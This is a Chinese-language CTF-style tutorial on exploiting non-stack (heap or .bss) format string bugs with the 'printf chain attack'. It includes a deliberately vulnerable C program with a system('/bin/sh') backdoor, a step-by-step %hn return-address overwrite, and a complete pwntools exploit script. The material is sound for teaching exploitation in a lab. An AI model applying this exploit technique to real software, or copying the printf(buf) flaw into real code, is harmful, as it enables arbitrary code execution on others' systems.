0x1 概述
非栈上格式化字符串漏洞特指在printf(char *fmt, ...)
函数调用中,格式字符串参数fmt
的存储位置不在当前函数栈帧中的情况。其常见表现形式主要包括以下两种类型:
- 全局变量传入:当格式字符串通过存储在全局数据区(
.bss
段)的全局变量进行传递时
- 堆指针传入:当格式字符串指针指向通过
malloc
等函数动态分配的堆内存区域时
非栈上格式化字符串和栈上格式化字符串漏洞利用最大的区别就是非栈上格式化字符串漏洞无法通过操控或者布局栈上的变量来实现任意地址写等操作。对于Part1,我们先来介绍一个比较简单的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
|
#include <stdio.h> #include <string.h> #include <stdlib.h>
void inits(){ setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); puts("Enter \"quit\" to stop program!"); }
void backdoor(){ puts("Congratulations! backdoor found!"); system("/bin/sh"); }
int vuln(){ char *buf = (char *)malloc(0x50); while(1){ memset(buf, 0, sizeof(buf)); read(0, buf, 0x50); if(!strncmp(buf,"quit", 4)){ return 0; }else{ printf(buf); } } }
int main(){ inits(); vuln(); return 0; }
|
编译后checksec

除了PIE,其余保护全开如果这题是在栈上的话,那思路很明确:泄露栈地址->将$bp+8填到栈上->修改返回地址为backdoor即可。但是对于本题就不一样了,我们所输入的内容都被放到了堆中,无法控制栈布局来任意修改地址。这时候就要引入ex师傅所提出的printf 成链攻击,成链攻击主要是利用栈上的数据链来进行攻击。
0x2 利用
我们接下来要利用的链形如下图
众所周知,对于格式化字符串,如果我们修改某个地址上的值,所使用的占位符为%n
,而%n
所修改的参数为一个地址,这也就是为什么需要一条二级以上的数据链进行攻击的原因了。对于非栈上格式化字符串,我们既然无法控制栈布局,为何不尝试下直接控制栈上已有变量,将栈变成我们想要的样子呢?对于此,我们可以先将三级链的第二级栈地址和当前函数调用栈的返回地址给泄露出来
观察发现,三级链的最后一级的地址和$bp+8
仅有低三位不同,因此我们可以把0x7fff1a1487a8 —▸ 0x7fff1a148898 —▸ 0x7fff1a148bc2 ◂— 0x53006e69616d2f2e /* './main' */
修改为0x7fff1a1487a8 —▸ 0x7fff1a148898 —▸ 0x7fff1a148768 —▸ 0x4013e2 (main+47) ◂— mov eax, 0

这样其实就间接实现了上面所述的将$bp+8填到栈上这一步骤到这里的exp为
1 2 3 4 5 6 7 8
| p.send('%19$p')
chain_addr = int(p.recv(14),16) ret_addr = chain_addr - 0x130 log.success(f"chain address: {hex(chain_addr)}, ret address: {hex(ret_addr)}")
payload = '%{}c'.format(ret_addr & 0xffff).encode() + b"%19$hn" p.send(payload)
|
接下来其实就简单了,既然栈上已经有一条二级链指向返回地址,我们只需要再用一次%n
修改返回地址为backdoor就行了
到这里的exp为
1 2 3
| backdoor = 0x4012b8 payload = '%{}c'.format(backdoor & 0xffff).encode() + b"%49$hn" p.send(payload)
|
最后输入quit
即可getshell

0x3 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * p = process('./main')
def dbg(): gdb.attach(p) pause()
p.recvuntil('Enter "quit" to stop program!\n') p.send('%19$p')
chain_addr = int(p.recv(14),16) ret_addr = chain_addr - 0x130 log.success(f"chain address: {hex(chain_addr)}, ret address: {hex(ret_addr)}")
payload = '%{}c'.format(ret_addr & 0xffff).encode() + b"%19$hn" p.send(payload)
backdoor = 0x4012b8 payload = '%{}c'.format(backdoor & 0xffff).encode() + b"%49$hn" p.send(payload)
p.sendline('quit')
p.interactive()
|
0x4 参考文章
Ex师傅的printf 成链攻击: https://blog.eonew.cn/2019/08/27/printf-成链攻击/